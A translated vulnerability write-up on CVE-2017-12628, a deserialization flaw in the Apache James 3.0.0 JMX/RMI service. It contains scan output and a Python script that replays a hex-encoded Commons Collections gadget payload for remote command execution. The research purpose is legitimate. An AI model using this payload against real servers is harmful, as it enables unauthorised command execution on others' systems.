當前位置:
首頁 > 最新 > Apache James 伺服器反序列化漏洞分析和利用

Apache James 伺服器反序列化漏洞分析和利用

今天早上,我發現了一條提到「Apache James 3.0.1 JMX伺服器反序列化」漏洞的推文 ,漏洞編號是CVE-2017-12628,這引起了我的注意,因為我之前寫過一個通用的JMX反序列化漏洞利用方式,它包含在我的RMI攻擊工具 —— BaRMIe中。通過快速搜索可以了解CVE-2017-12628的更多詳細信息,在 安全性公告中聲明了該漏洞只能用於本地特權升級,並提及升級到的庫版本信息。

這極大的引起了我的興趣,因為JMX使用了RMI,並且RMI對象可以遠程訪問,即使它們綁定到了本地主機,因為Java將對象引用綁定到了「0.0.0.0」。BaRMIe利用本地埠轉發來攻擊綁定到本地或內部IP地址的對象。

漏洞分析

我在一個虛擬機中來運行Apache James 3.0.0(3.0.1修復了這個問題),而我注意到的第一件事就是 「libscommons-collections-3.2.1.jar」 文件。我們可以使用ysoserial來生成一個使用該庫的POP小工具鏈,以便能夠通過反序列化實現任意的命令執行。

我通過運行「bin/run.sh」來啟動James伺服器,然後在VM上執行netstat,並且在宿主主機上運行nmap,發現在VM上有一個偵聽外部的Java RMI埠。

C:ToolsNmap>nmap.exe -sV --version-all -p33148,46299 192.168.174.40

Starting Nmap 7.31 ( https://nmap.org ) at 2017-10-22 12:37 GMT Daylight Time

Nmap scan report for 192.168.174.40

Host is up (0.00076s latency).

PORT STATE SERVICE VERSION

33148/tcp open rmiregistry Java RMI

46299/tcp open tcpwrapped

使用BaRMIe枚舉此服務後,表明它是RMI對象服務而不是RMI註冊服務,因此BaRMIe無法遠程攻擊該服務。

C:ToolsBaRMIe>java -jar BaRMIe.jar 192.168.174.40 33148

Scanning 1 target(s) for objects exposed via an RMI registry...

192.168.174.40:33148 appears to be an RMI object endpoint, rather than a registry.

在VM上本地運行nmap顯示Apache James RMI註冊服務綁定到了127.0.0.1:9999。我將BaRMIe複製到虛擬機來枚舉這個RMI註冊服務,發現外部的RMI服務實際上是JMX對象的RMI對象服務。

使用BaRMIe的攻擊模式與通用JMX漏洞和Commons Collections 3.2.1有效載荷,可以利用此服務執行任意命令,導致本地許可權升級。除此之外,還值得注意的是,如果伺服器使用過時的Java運行時環境(

遠程利用

安全發布公告說明了這只是一個本地特權升級漏洞,但是鑒於JMX對象是在外部暴露出來的,所以我認為這一定是可以遠程利用的。

在我繼續遠程利用之前,我想說明這個漏洞是可以遠程利用的,但是遠程攻擊涉及到基於網路的暴力攻擊。

為了快速實現概念證明,我在虛擬機上使用tcpdump來捕獲到JMX對象服務的流量,同時運行BaRMIe JMX漏洞利用工具執行命令「touch fooobaaar」。

sudo tcpdump -i lo -w apache-james-jmx-exploit.pcap port 33148

回到我的宿主主機上,我使用了一個快速而骯髒的Python腳本來重放exploit數據包。

import socket

packets = [

"4a524d4900024b",

"RECV",

"00093132372e302e312e310000000050aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078709c4cdbcfdd205cf8737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e6971756570787080020000015f4347bba08304129e77088000000000000015737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008beccd729e295d7ea7371007e000580010000015f43592e64224416a1",

"RECV",

"50aced000577229c4cdbcfdd205cf88304129e0000015f4347bba08002fffffffff0e074eaad0caea8737200116a6176612e7574696c2e48617368536574ba44859596b8b734030000707870770c000000000010000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b707870740001417372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b7078707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8341899020000707870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e0003707870767200116a6176612e6c616e672e52756e74696d6500000000000000000000007078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b707870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000707870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb3420200007078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a65637400000000000000000000007078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007078700000000174000f746f75636820666f6f6f6261616172740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000070787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c64707870000000010000000077080000001000000000787878",

"RECV",

]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect(("192.168.174.40", 33148))

for packet in packets:

if packet == "RECV":

sock.recv(4096)

else:

sock.sendall(packet.decode("hex"))

sock.close()

從我的主機進行遠程重放,可以成功的發起攻擊,證明遠程攻擊的確是可以實現的。

GIF/47K

不過,我懷疑,在重新啟動Apache James服務後,這個快速而骯髒的PoC不再奏效。我生成了更多的捕獲到的數據包來進行比較,並進行了一些進一步的測試,似乎可以降低漏洞利用的第三個出站數據包的一些差異。以下是該數據包的前27個位元組:

以藍色突出顯示的部分(47bba0)是動態變化的,但是它們的值可以從伺服器先前返回的響應數據包中提取出來。以橙色突出顯示的部分(9c4cdbcfdd205cf8 )是當伺服器啟動時生成的RMI對象標識符。這個值來自RMI註冊服務,它僅在伺服器本地進行偵聽。如果攻擊者可以強制或以其他方式獲取到這個8位元組的值,那麼遠程命令執行漏洞就可能實現了。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

對Android應用植入後門 實現msf控制
WordPress這次的更新有故事 站長們還請快快更新
差學生秒變三好學生?因為一款黑客工具他入獄了
使用 Mimikatz和Powersploit 提取 Windows 禁止導出的證書並逃避防護軟體
Masscan教程和入門手冊

TAG:嘶吼RoarTalk |